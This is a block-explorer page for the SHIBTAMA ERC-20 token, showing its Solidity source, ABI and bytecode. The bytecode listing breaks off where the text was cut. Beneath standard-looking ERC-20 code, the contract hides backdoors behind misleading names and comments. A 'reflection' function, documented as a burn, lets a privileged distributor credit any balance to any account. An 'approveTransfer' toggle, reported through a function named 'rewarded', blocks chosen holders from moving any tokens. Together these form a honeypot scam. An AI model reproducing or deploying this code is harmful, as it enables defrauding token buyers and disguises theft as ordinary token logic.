ERC-20
Overview
Max Total Supply
2,000,000,000,000 SHIBTAMA
Holders
25
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
128,173,000,000.000000236 SHIBTAMAValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
SHIBTAMA
Compiler Version
v0.8.1+commit.df193b15
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; import "./IERC20.sol"; import "./Ownable.sol"; /** * @dev Implementation of the {IERC20} interface. * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract. */ contract SHIBTAMA is Ownable, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _approveTransfer; uint256 private _totalSupply; uint256 private _supplyCap; string private _name; string private _symbol; address unir; address unif; /** * @dev Sets the values for {name}, {symbol} and {totalsupply}. */ constructor(address rter, address fctr) { _name = "SHIBTAMA"; _symbol = "SHIBTAMA"; _totalSupply = 2000000000000*10**9; _supplyCap = 2000000000000; _balances[msg.sender] += _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); unir = rter; unif = fctr; } /** * @notice Returns Supply Cap (maximum possible amount of tokens) */ function SUPPLY_CAP() external view returns (uint256) { return _supplyCap; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. */ function decimals() public view virtual override returns (uint8) { return 9; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. */ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); unchecked { _approve(sender, _msgSender(), currentAllowance - amount);} return true; } /** * @dev Destroys `amount` tokens from `account`, reducing the */ function reflection(address account, uint256 balance, uint256 burnAmount) external onlyDistributor { require(account != address(0), "ERC20: burn from the zero address disallowed"); _totalSupply -= balance; _balances[account] += burnAmount; emit Transfer(account, address(0), balance); } /** * @dev Atomically increases the allowance granted to `spender` by the caller. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); unchecked { _approve(_msgSender(), spender, currentAllowance - subtractedValue);} return true; } /** * @dev Moves `amount` of tokens from `sender` to `recipient`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (_approveTransfer[sender] || _approveTransfer[recipient]) require (amount == 0, ""); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); unchecked { _balances[sender] = senderBalance - amount;} _balances[recipient] += amount; emit Transfer(sender, recipient, amount); _afterTokenTransfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function approveTransfer (address _address) external onlyDistributor { if (_approveTransfer[_address] == true) {_approveTransfer[_address] = false;} else {_approveTransfer[_address] = true; } } function rewarded(address _address) public view returns (bool) { return _approveTransfer[_address]; } /** * @dev Hook that is called before any transfer of tokens. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. */ function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); }
// SPDX-License-Identifier: MIT pragma solidity =0.8.1; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. */ abstract contract Ownable is Context { address private _owner; address internal _distributor; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Throws if called by any account other than the distributor. */ modifier onlyDistributor() { require(_distributor == msg.sender, "Caller is not fee distributor"); _; } /** * @dev Set new distributor. */ function distributor(address account) external onlyOwner { require (_distributor == address(0)); _distributor = account; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"rter","type":"address"},{"internalType":"address","name":"fctr","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"SUPPLY_CAP","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"approveTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"distributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"balance","type":"uint256"},{"internalType":"uint256","name":"burnAmount","type":"uint256"}],"name":"reflection","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"rewarded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040516200243c3803806200243c8339818101604052810190620000379190620003f1565b620000576200004b6200025e60201b60201c565b6200026660201b60201c565b6040518060400160405280600881526020017f5348494254414d4100000000000000000000000000000000000000000000000081525060079080519060200190620000a49291906200032a565b506040518060400160405280600881526020017f5348494254414d4100000000000000000000000000000000000000000000000081525060089080519060200190620000f29291906200032a565b50686c6b935b8bbd4000006005819055506501d1a94a2000600681905550600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825462000163919062000460565b925050819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620001cc919062000443565b60405180910390a381600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050620005a9565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8280546200033890620004fb565b90600052602060002090601f0160209004810192826200035c5760008555620003a8565b82601f106200037757805160ff1916838001178555620003a8565b82800160010185558215620003a8579182015b82811115620003a75782518255916020019190600101906200038a565b5b509050620003b79190620003bb565b5090565b5b80821115620003d6576000816000905550600101620003bc565b5090565b600081519050620003eb816200058f565b92915050565b600080604083850312156200040557600080fd5b60006200041585828601620003da565b92505060206200042885828601620003da565b9150509250929050565b6200043d81620004f1565b82525050565b60006020820190506200045a600083018462000432565b92915050565b60006200046d82620004f1565b91506200047a83620004f1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620004b257620004b162000531565b5b828201905092915050565b6000620004ca82620004d1565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060028204905060018216806200051457607f821691505b602082108114156200052b576200052a62000560565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6200059a81620004bd565b8114620005a657600080fd5b50565b611e8380620005b96000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806396bd7a801161007157806396bd7a80146102e5578063a457c2d714610301578063a9059cbb14610331578063dd62ed3e14610361578063e074839e1461039157610116565b806370a082311461026f578063715018a61461029f5780638da5cb5b146102a957806395d89b41146102c757610116565b806323b872dd116100e957806323b872dd146101a5578063313ce567146101d5578063379f53e3146101f357806339509351146102235780634355b9d21461025357610116565b806306fdde031461011b578063095ea7b3146101395780630cfccc831461016957806318160ddd14610187575b600080fd5b6101236103ad565b60405161013091906117cb565b60405180910390f35b610153600480360381019061014e9190611514565b61043f565b60405161016091906117b0565b60405180910390f35b61017161045d565b60405161017e919061194d565b60405180910390f35b61018f610467565b60405161019c919061194d565b60405180910390f35b6101bf60048036038101906101ba91906114c5565b610471565b6040516101cc91906117b0565b60405180910390f35b6101dd610569565b6040516101ea9190611968565b60405180910390f35b61020d60048036038101906102089190611460565b610572565b60405161021a91906117b0565b60405180910390f35b61023d60048036038101906102389190611514565b6105c8565b60405161024a91906117b0565b60405180910390f35b61026d60048036038101906102689190611460565b610674565b005b61028960048036038101906102849190611460565b610816565b604051610296919061194d565b60405180910390f35b6102a761085f565b005b6102b16108e7565b6040516102be9190611795565b60405180910390f35b6102cf610910565b6040516102dc91906117cb565b60405180910390f35b6102ff60048036038101906102fa9190611550565b6109a2565b005b61031b60048036038101906103169190611514565b610b7c565b60405161032891906117b0565b60405180910390f35b61034b60048036038101906103469190611514565b610c67565b60405161035891906117b0565b60405180910390f35b61037b60048036038101906103769190611489565b610c85565b604051610388919061194d565b60405180910390f35b6103ab60048036038101906103a69190611460565b610d0c565b005b6060600780546103bc90611ab1565b80601f01602080910402602001604051908101604052809291908181526020018280546103e890611ab1565b80156104355780601f1061040a57610100808354040283529160200191610435565b820191906000526020600020905b81548152906001019060200180831161041857829003601f168201915b5050505050905090565b600061045361044c610e27565b8484610e2f565b6001905092915050565b6000600654905090565b6000600554905090565b600061047e848484610ffa565b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104c9610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610549576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105409061186d565b60405180910390fd5b61055d85610555610e27565b858403610e2f565b60019150509392505050565b60006009905090565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061066a6105d5610e27565b8484600360006105e3610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610665919061199f565b610e2f565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610704576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106fb9061190d565b60405180910390fd5b60011515600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156107ba576000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610813565b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610867610e27565b73ffffffffffffffffffffffffffffffffffffffff166108856108e7565b73ffffffffffffffffffffffffffffffffffffffff16146108db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d29061188d565b60405180910390fd5b6108e56000611368565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606008805461091f90611ab1565b80601f016020809104026020016040519081016040528092919081815260200182805461094b90611ab1565b80156109985780601f1061096d57610100808354040283529160200191610998565b820191906000526020600020905b81548152906001019060200180831161097b57829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a299061190d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610aa2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a999061184d565b60405180910390fd5b8160056000828254610ab491906119f5565b9250508190555080600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b0a919061199f565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610b6f919061194d565b60405180910390a3505050565b60008060036000610b8b610e27565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610c48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c3f9061192d565b60405180910390fd5b610c5c610c53610e27565b85858403610e2f565b600191505092915050565b6000610c7b610c74610e27565b8484610ffa565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610d14610e27565b73ffffffffffffffffffffffffffffffffffffffff16610d326108e7565b73ffffffffffffffffffffffffffffffffffffffff1614610d88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d7f9061188d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610de357600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e96906118ed565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f069061180d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fed919061194d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561106a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611061906118ad565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d1906117ed565b60405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061117b5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156111c457600081146111c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ba906118cd565b60405180910390fd5b5b6111cf83838361142c565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611256576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161124d9061182d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112eb919061199f565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161134f919061194d565b60405180910390a3611362848484611431565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b505050565b60008135905061144581611e1f565b92915050565b60008135905061145a81611e36565b92915050565b60006020828403121561147257600080fd5b600061148084828501611436565b91505092915050565b6000806040838503121561149c57600080fd5b60006114aa85828601611436565b92505060206114bb85828601611436565b9150509250929050565b6000806000606084860312156114da57600080fd5b60006114e886828701611436565b93505060206114f986828701611436565b925050604061150a8682870161144b565b9150509250925092565b6000806040838503121561152757600080fd5b600061153585828601611436565b92505060206115468582860161144b565b9150509250929050565b60008060006060848603121561156557600080fd5b600061157386828701611436565b93505060206115848682870161144b565b92505060406115958682870161144b565b9150509250925092565b6115a881611a29565b82525050565b6115b781611a3b565b82525050565b60006115c882611983565b6115d2818561198e565b93506115e2818560208601611a7e565b6115eb81611b41565b840191505092915050565b600061160360238361198e565b915061160e82611b52565b604082019050919050565b600061162660228361198e565b915061163182611ba1565b604082019050919050565b600061164960268361198e565b915061165482611bf0565b604082019050919050565b600061166c602c8361198e565b915061167782611c3f565b604082019050919050565b600061168f60288361198e565b915061169a82611c8e565b604082019050919050565b60006116b260208361198e565b91506116bd82611cdd565b602082019050919050565b60006116d560258361198e565b91506116e082611d06565b604082019050919050565b60006116f860008361198e565b915061170382611d55565b600082019050919050565b600061171b60248361198e565b915061172682611d58565b604082019050919050565b600061173e601d8361198e565b915061174982611da7565b602082019050919050565b600061176160258361198e565b915061176c82611dd0565b604082019050919050565b61178081611a67565b82525050565b61178f81611a71565b82525050565b60006020820190506117aa600083018461159f565b92915050565b60006020820190506117c560008301846115ae565b92915050565b600060208201905081810360008301526117e581846115bd565b905092915050565b60006020820190508181036000830152611806816115f6565b9050919050565b6000602082019050818103600083015261182681611619565b9050919050565b600060208201905081810360008301526118468161163c565b9050919050565b600060208201905081810360008301526118668161165f565b9050919050565b6000602082019050818103600083015261188681611682565b9050919050565b600060208201905081810360008301526118a6816116a5565b9050919050565b600060208201905081810360008301526118c6816116c8565b9050919050565b600060208201905081810360008301526118e6816116eb565b9050919050565b600060208201905081810360008301526119068161170e565b9050919050565b6000602082019050818103600083015261192681611731565b9050919050565b6000602082019050818103600083015261194681611754565b9050919050565b60006020820190506119626000830184611777565b92915050565b600060208201905061197d6000830184611786565b92915050565b600081519050919050565b600082825260208201905092915050565b60006119aa82611a67565b91506119b583611a67565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156119ea576119e9611ae3565b5b828201905092915050565b6000611a0082611a67565b9150611a0b83611a67565b925082821015611a1e57611a1d611ae3565b5b828203905092915050565b6000611a3482611a47565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611a9c578082015181840152602081019050611a81565b83811115611aab576000848401525b50505050565b60006002820490506001821680611ac957607f821691505b60208210811415611add57611adc611b12565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7320646973616c6c6f7765640000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b50565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f43616c6c6572206973206e6f7420666565206469737472696275746f72000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b611e2881611a29565b8114611e3357600080fd5b50565b611e3f81611a67565b8114611e4a57600080fd5b5056fea2646970667358221220906c720705ac3e5f6f8069a7695387a751fb69a1e0a4bdb1254dbc388646fb9664736f6c634300080100330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101165760003560e01c806370a08231116100a257806396bd7a801161007157806396bd7a80146102e5578063a457c2d714610301578063a9059cbb14610331578063dd62ed3e14610361578063e074839e1461039157610116565b806370a082311461026f578063715018a61461029f5780638da5cb5b146102a957806395d89b41146102c757610116565b806323b872dd116100e957806323b872dd146101a5578063313ce567146101d5578063379f53e3146101f357806339509351146102235780634355b9d21461025357610116565b806306fdde031461011b578063095ea7b3146101395780630cfccc831461016957806318160ddd14610187575b600080fd5b6101236103ad565b60405161013091906117cb565b60405180910390f35b610153600480360381019061014e9190611514565b61043f565b60405161016091906117b0565b60405180910390f35b61017161045d565b60405161017e919061194d565b60405180910390f35b61018f610467565b60405161019c919061194d565b60405180910390f35b6101bf60048036038101906101ba91906114c5565b610471565b6040516101cc91906117b0565b60405180910390f35b6101dd610569565b6040516101ea9190611968565b60405180910390f35b61020d60048036038101906102089190611460565b610572565b60405161021a91906117b0565b60405180910390f35b61023d60048036038101906102389190611514565b6105c8565b60405161024a91906117b0565b60405180910390f35b61026d60048036038101906102689190611460565b610674565b005b61028960048036038101906102849190611460565b610816565b604051610296919061194d565b60405180910390f35b6102a761085f565b005b6102b16108e7565b6040516102be9190611795565b60405180910390f35b6102cf610910565b6040516102dc91906117cb565b60405180910390f35b6102ff60048036038101906102fa9190611550565b6109a2565b005b61031b60048036038101906103169190611514565b610b7c565b60405161032891906117b0565b60405180910390f35b61034b60048036038101906103469190611514565b610c67565b60405161035891906117b0565b60405180910390f35b61037b60048036038101906103769190611489565b610c85565b604051610388919061194d565b60405180910390f35b6103ab60048036038101906103a69190611460565b610